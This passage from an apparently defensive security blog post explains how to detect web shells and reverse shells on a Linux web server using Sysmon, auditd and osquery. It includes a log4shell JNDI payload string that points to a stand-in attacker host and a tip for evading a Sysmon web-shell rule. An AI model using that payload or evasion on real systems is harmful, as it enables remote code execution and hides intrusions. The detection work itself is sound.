<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"FileVersion"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Description"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Product"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Company"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"OriginalFileName"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">></span>sh -c whoami<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">></span>/var/www/html<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>www-data<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">></span>{717481a5-0000-0000-2100-000000000000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">></span>33<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TerminalSessionId"</span><span class="nt">></span>4294967295<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"IntegrityLevel"</span><span class="nt">></span>no level<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Hashes"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentProcessGuid"</span><span class="nt">></span>{00000000-0000-0000-0000-000000000000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">></span>10242<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>Here we see <code class="language-plaintext highlighter-rouge">/bin/dash</code> being executed that is why the rule was triggered. Afterwards, the rule <strong><em>T1505.003,TechniqueName=Server Software Component: Web Shell</em></strong> is triggered because of <code class="language-plaintext highlighter-rouge">whoami</code> .</p>
<p>Here is the log for it. I’ve removed some fields for brevity.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>1<span class="nt"></EventID></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1505.003,TechniqueName=Serv<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2021-11-23 14:06:07.118<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{717481a5-f54f-619c-c944-fd0292550000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>11663<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/whoami<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">></span>whoami<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">></span>/var/www/html<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>www-data<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">></span>{717481a5-0000-0000-2100-000000000000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">></span>33<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">></span>11662<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">></span>/usr/bin/dash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">></span>sh<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">></span>www-data<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>Now with this knowledge, we can bypass <code class="language-plaintext highlighter-rouge">T1505.003</code> sysmon rule. By running <code class="language-plaintext highlighter-rouge">system("/bin/bash whoami")</code> so that the parent image of the <code class="language-plaintext highlighter-rouge">whoami</code> command would not be <code class="language-plaintext highlighter-rouge">dash</code> . This would trigger two <code class="language-plaintext highlighter-rouge">T1059.004</code> alerts.</p>
<p>Just for an exercise, if we want to replicate our <code class="language-plaintext highlighter-rouge">detect_execve_www</code> in sysmon, we can use the following rule</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"detect_shell_www"</span> <span class="na">groupRelation=</span><span class="s">"and"</span><span class="nt">></span>
<span class="nt"><User</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>www-data<span class="nt"></User></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"contains any"</span><span class="nt">></span>/bin/bash;/bin/dash;/bin/sh;whoami<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"></ProcessCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<p>And if we want to do basic file integrity monitoring with sysmon we can use</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"change_www"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/var/www/html<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>For more information about writing your own sysmon rules you can look at:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files</a></li>
<li><a href="https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649">https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649</a></li>
<li><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml">https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon">https://github.com/microsoft/MSTIC-Sysmon</a></li>
</ul>
<h4 id="16-detection-looking-for-initiated-connections-by-www-data">1.6 Detection: Looking for initiated connections by www-data</h4>
<p>If your web server is not expected to create outbound connections, then we can monitor outbound connections created by the <code class="language-plaintext highlighter-rouge">www-data</code> user.</p>
<p>Some reasons an attacker might do this are:</p>
<ul>
<li>Downloading additional scripts and tools</li>
<li>Establishing a reverse shell</li>
<li>Moving laterally by accessing other machines through the web shell</li>
</ul>
<h5 id="161-auditd">1.6.1 auditd</h5>
<p>Referencing <a href="https://www.linkedin.com/pulse/using-auditd-monitor-network-connections-alex-maestretti/">[4]</a>, we can us auditd to look for IP connections created by <code class="language-plaintext highlighter-rouge">www-data</code> (Replace <code class="language-plaintext highlighter-rouge">euid</code> for other users).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=33 -k www_data_connect
</code></pre></div></div>
<p>For example, if we use our web shell to <code class="language-plaintext highlighter-rouge">curl https://www.google.com</code> we get this auditd log.</p>
<pre class="highlight" style="white-space:pre;"><code style="white-space:pre;">
SYSCALL arch=c000003e syscall=41 success=yes exit=3 a0=a a1=80002 a2=0 a3=7f33e33ad394 items=0 ppid=24271 pid=24272 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="curl" <b><u>exe="/usr/bin/curl"</u></b> subj==unconfined <b><u>key="www_data_connect"</u></b>
PROCTITLE proctitle=6375726C0068747470733A2F2F7777772E676F6F676C652E636F6D
</code></pre>
<p>As you can see, the log does not include IP metadata such as destination port and destination IP address. This would make it difficult to exclude some known connections the webserver might make, such as connections to a DB.</p>
<h5 id="162-sysmon">1.6.2 sysmon</h5>
<p>In sysmon we can use the following rule</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><NetworkConnect</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"www_data_connect"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><User</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>www-data<span class="nt"></User></span>
<span class="nt"></Rule></span>
<span class="nt"></NetworkConnect></span>
</code></pre></div></div>
<p>And we get the following output (removed some fields for brevity):</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>3<span class="nt"></EventID></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>www_data_connect<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/curl<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>www-data<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Protocol"</span><span class="nt">></span>tcp<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Initiated"</span><span class="nt">></span>true<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceIsIpv6"</span><span class="nt">></span>false<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceIp"</span><span class="nt">></span>10.2.0.29<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceHostname"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourcePort"</span><span class="nt">></span>57774<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourcePortName"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationIsIpv6"</span><span class="nt">></span>false<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationIp"</span><span class="nt">></span>64.233.191.105<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationHostname"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationPort"</span><span class="nt">></span>443<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationPortName"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>Notice that the output of sysmon has useful fields like <code class="language-plaintext highlighter-rouge">DestinationIp</code> that might allow us to fine tune rules to exclude connections.</p>
<h5 id="163-example-log4shell">1.6.3 Example: log4shell</h5>
<p>Although strictly, not a webshell or persistence. This is a good example where sysmon’s flexibility shines.</p>
<p>Run the vulnerable app through docker found <a href="https://github.com/christophetd/log4shell-vulnerable-app">christophetd/log4shell-vulnerable-app</a>. This would also require you to exploit POC described in the repo.</p>
<p>See <a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">Critical RCE Vulnerability: log4j - CVE-2021-44228 [5]</a> for complete details. Briefly, the vulnerability is caused by a malicious string such as</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>${jndi:ldap://bad.com/exploit}
</code></pre></div></div>
<p>This causes the application to fetch the remote java object and execute it. This is an example of a case where outbound connections by the java applications might be an indicator of exploitation. We can use <code class="language-plaintext highlighter-rouge">auditd</code> and <code class="language-plaintext highlighter-rouge">sysmon</code> to look for network connections initiated by the app running on docker.</p>
<p>** 1.6.3.1 auditd **</p>
<p>Because of how docker runs, the container and application will run as root. So if we look for new connections made by the app, we will need to look for connections created by <code class="language-plaintext highlighter-rouge">root</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=2 -k root_connection
-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=10 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=2 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=10 -k root_connection
</code></pre></div></div>
<p>This will result in the following logs</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SYSCALL arch=c000003e syscall=41 success=yes exit=23 a0=2 a1=1 a2=0 a3=0 items=0 ppid=26165 pid=26183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="java" exe="/usr/lib/jvm/java-1.8-openjdk/jre/bin/java" subj==docker-default (enforce) key="root_connection"
PROCTITLE proctitle=6A617661002D6A6172002F6170702F737072696E672D626F6F742D6170706C69636174696F6E2E6A6172
</code></pre></div></div>
<p>Although this catches the exploit, it also catches other normal network connections root might make. What if we want to filter only for connections created by “java”. I don’t think you can do this with <code class="language-plaintext highlighter-rouge">auditd</code>’s filters although I may be wrong.</p>
<p>** 1.6.3.2 sysmon **</p>
<p>In sysmon, this would be much easier to do</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"log4shell"</span> <span class="na">groupRelation=</span><span class="s">"and"</span><span class="nt">></span>
<span class="nt"><Protocol</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>tcp<span class="nt"></Protocol></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>java<span class="nt"></Image></span>
<span class="nt"></Rule></span>
</code></pre></div></div>
<p>And this results in the following log (removed some fields for brevity)</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0"?></span>
<span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>3<span class="nt"></EventID></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/lib/jvm/java-1.8-openjdk/jre/bin/java<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Protocol"</span><span class="nt">></span>tcp<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Initiated"</span><span class="nt">></span>true<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceIsIpv6"</span><span class="nt">></span>false<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceIp"</span><span class="nt">></span>172.17.0.2<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourceHostname"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourcePort"</span><span class="nt">></span>40378<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"SourcePortName"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationIsIpv6"</span><span class="nt">></span>false<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationIp"</span><span class="nt">></span>10.2.0.29<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationHostname"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationPort"</span><span class="nt">></span>1389<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"DestinationPortName"</span><span class="nt">></span>-<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<h4 id="17-hunting-for-web-shells-using-osquery">1.7 Hunting for web shells using osquery</h4>
<p>For osquery, we might not be able to “find” the web shells itself, but we might be able to find evidence of the webshell. If an attacker uses a web shell, it is possible they will try to establish a reverse shell. If so, there should be an outbound connection from the web server to the attacker.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="n">remote_address</span><span class="p">,</span> <span class="n">local_port</span><span class="p">,</span> <span class="n">remote_port</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">cmdline</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">uid</span><span class="p">,</span> <span class="n">username</span>
<span class="k">FROM</span> <span class="n">process_open_sockets</span> <span class="k">AS</span> <span class="n">s</span>
<span class="k">JOIN</span> <span class="n">processes</span> <span class="k">AS</span> <span class="n">p</span>
<span class="k">USING</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span>
<span class="k">JOIN</span> <span class="n">users</span>
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">WHERE</span>
<span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'ESTABLISHED'</span>
<span class="k">OR</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'LISTEN'</span><span class="p">;</span>
</code></pre></div></div>
<p>This look for processes with sockets that have established connections or has a listening port.</p>
<pre class="highlight" style="white-space:pre;"><code style="white-space:pre;">
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid | remote_address | local_port | remote_port | state | name | cmdline | uid | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0 | 22 | 0 | LISTEN | sshd | /usr/sbin/sshd -D | 0 | root |
| 468 | 0.0.0.0 | 80 | 0 | LISTEN | nginx | nginx: worker process | 33 | www-data |
| 461 | 74.125.200.95 | 51434 | 443 | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent | 0 | root |
| 8563 | 10.0.0.13 | 39670 | 9200 | ESTABLISHED | auditbeat | /usr/share/auditbeat/bin/auditbeat ... | 0 | root |
| 17770 | 6.7.8.9 | 22 | 20901 | ESTABLISHED | sshd | sshd: user@pts/0 | 1000 | user |
| 17776 | 1.2.3.4 | 51998 | 1337 | ESTABLISHED | bash | bash | 33 | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
</code></pre>
<p>Notice we that we see exposed port <code class="language-plaintext highlighter-rouge">22</code> and port <code class="language-plaintext highlighter-rouge">80</code> which is normal. We see outbound connections for some binaries used by GCP (my VM is hosted in GCP) as well as the <code class="language-plaintext highlighter-rouge">auditbeat</code> service that ships my logs to the SIEM.</p>
<p>We also see an active SSH connection from <code class="language-plaintext highlighter-rouge">6.7.8.9</code> which might be normal.</p>
<p>What should catch your eye is the connection <code class="language-plaintext highlighter-rouge">pid =17776</code>. It is an outbound connection to port <code class="language-plaintext highlighter-rouge">1337</code> running shell by <code class="language-plaintext highlighter-rouge">www-data</code>! This is probably an active reverse shell!</p>
<h3 id="whats-next">What’s next</h3>
<p>We’ve discussed basics of monitoring and logging with sysmon, osqueryu, auditd and auditbeats and we have used the case study of how to detect the creation and usage of web shells.</p>
<p>There are a lot more techinques we can discuss in depth. Go back to the overview to see the list of the topics of the following blog posts.</p>
<h3 id="appendix">Appendix</h3>
<h4 id="a00-setup-nginx-andphp">A00 Setup nginx and php</h4>
<p>If you want to try this out on your own VM, you need to first setup an nginx server that is configured to use php. (<a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04">We follow this guide</a>).</p>
<p>You need to install nginx and php</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nb">install </span>nginx
<span class="nb">sudo </span>apt-get <span class="nb">install </span>php-fpm
<span class="nb">sudo </span>vi /etc/php/7.3/fpm/php.ini
<span class="c"># cgi.fix_pathinfo=0 </span>
<span class="nb">sudo </span>systemctl restart php7.3-fpm
<span class="nb">sudo </span>vi /etc/nginx/sites-available/default
<span class="c"># configure nginx to use php see next codeblock</span>
<span class="nb">sudo </span>systemctl restart nginx
</code></pre></div></div>
<p>The nginx config might look something like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \\.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
</code></pre></div></div>
<p>Now you should have a web server listening in port 80 that can run php code. Any file that ends with <code class="language-plaintext highlighter-rouge">.php</code> will be run as php code.</p>
<h4 id="a01-setup-sysmon-forlinux">A01 Setup sysmon for linux</h4>
<p>For sysmon for linux, I was on Debian 10, so based on <a href="https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md">https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md</a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget <span class="nt">-qO-</span> https://packages.microsoft.com/keys/microsoft.asc | gpg <span class="nt">--dearmor</span> <span class="o">></span> microsoft.asc.gpg
<span class="nb">sudo mv </span>microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget <span class="nt">-q</span> https://packages.microsoft.com/config/debian/10/prod.list
<span class="nb">sudo mv </span>prod.list /etc/apt/sources.list.d/microsoft-prod.list
<span class="nb">sudo chown </span>root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
<span class="nb">sudo chown </span>root:root /etc/apt/sources.list.d/microsoft-prod.list
<span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nb">install </span>apt-transport-https
<span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nb">install </span>sysmonforlinux
</code></pre></div></div>
<p>I used <a href="https://github.com/microsoft/MSTIC-Sysmon">microsoft/MSTIC-Sysmon</a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/microsoft/MSTIC-Sysmon.git
<span class="nb">cd </span>MSTIC-Sysmon/linux/configs
<span class="nb">sudo </span>sysmon <span class="nt">-accepteula</span> <span class="nt">-i</span> main.xml
<span class="c"># if you are experimenting and want to see all sysmon logs use </span>
<span class="c"># sudo sysmon -accepteula -i main.xml</span>
</code></pre></div></div>
<p>Logs should now be available in <code class="language-plaintext highlighter-rouge">/var/log/syslog</code> </p>
<p>If you want to add rules to <code class="language-plaintext highlighter-rouge">main.xml</code> then you can modify it and then reload the config and restart sysmon</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>sysmon <span class="nt">-c</span> main.xml
<span class="nb">sudo </span>systemctl restart sysmon
</code></pre></div></div>
<h4 id="a02-setup-auditbeats-and-auditd-forlinux">A02 Setup auditbeats and auditd for linux </h4>
<p>Note: Setting up a local elasticsearch clustering is out of scope of this blog post. </p>
<p>Elastic has good documentation for auditbeats: <a href="https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html">https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html</a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-L</span> <span class="nt">-O</span> https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.15.2-amd64.deb
<span class="nb">sudo </span>dpkg <span class="nt">-i</span> auditbeat-7.15.2-amd64.deb
</code></pre></div></div>
<p>Modify <code class="language-plaintext highlighter-rouge">/etc/auditbeat/auditbeat.yml</code></p>
<p>Add the config for elasticsearch</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">output.elasticsearch</span><span class="pi">:</span>
<span class="na">hosts</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">10.10.10.10:9200"</span><span class="pi">]</span>
<span class="na">username</span><span class="pi">:</span> <span class="s2">"</span><span class="s">auditbeat_internal"</span>
<span class="na">password</span><span class="pi">:</span> <span class="s2">"</span><span class="s">YOUR_PASSWORD"</span>
</code></pre></div></div>
<p>To configure auditd rules, validate location of the <code class="language-plaintext highlighter-rouge">audit_rule_files</code> </p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ... </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">auditd</span>
<span class="na">audit_rule_files</span><span class="pi">:</span> <span class="pi">[</span> <span class="s1">'</span><span class="s">${path.config}/audit.rules.d/\*.conf'</span> <span class="pi">]</span>
<span class="na">audit_rules</span><span class="pi">:</span> <span class="pi">|</span>
<span class="s">## Define audit rules </span>
<span class="c1"># ...</span>
</code></pre></div></div>
<p>In this case it is in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/</code> and I add <code class="language-plaintext highlighter-rouge">audit-rules.conf</code> from <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a>. When you start/restart the <code class="language-plaintext highlighter-rouge">auditbeat</code> service it may result in an error. To make this work in my debian 10 VM, I needed to delete the following rules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-D
-b 8192
-f 1
-i
-a never,exit -F arch=b64 -S adjtimex -F auid=unset -F uid=chrony -F subj_type=chronyd_t
-a always,exit -F arch=b32 -F uid!=ntp -S adjtimex -S settimeofday -S clock_settime -k time
-a always,exit -F arch=b64 -F uid!=ntp -S adjtimex -S settimeofday -S clock_settime -k time
</code></pre></div></div>
<p>For some of the custom rules I make I add it in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/custom.conf</code> </p>
<hr />
<h1 id="other-sources">Other sources:</h1>
<ul>
<li>[1] <a href="https://github.com/elastic/integrations/issues/1930">https://github.com/elastic/integrations/issues/1930</a></li>
<li>[2] <a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a></li>
<li>[3] <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a></li>
<li>[4] <a href="https://www.linkedin.com/pulse/using-auditd-monitor-network-connections-alex-maestretti/">Using Auditd to Monitor Network Connections</a></li>
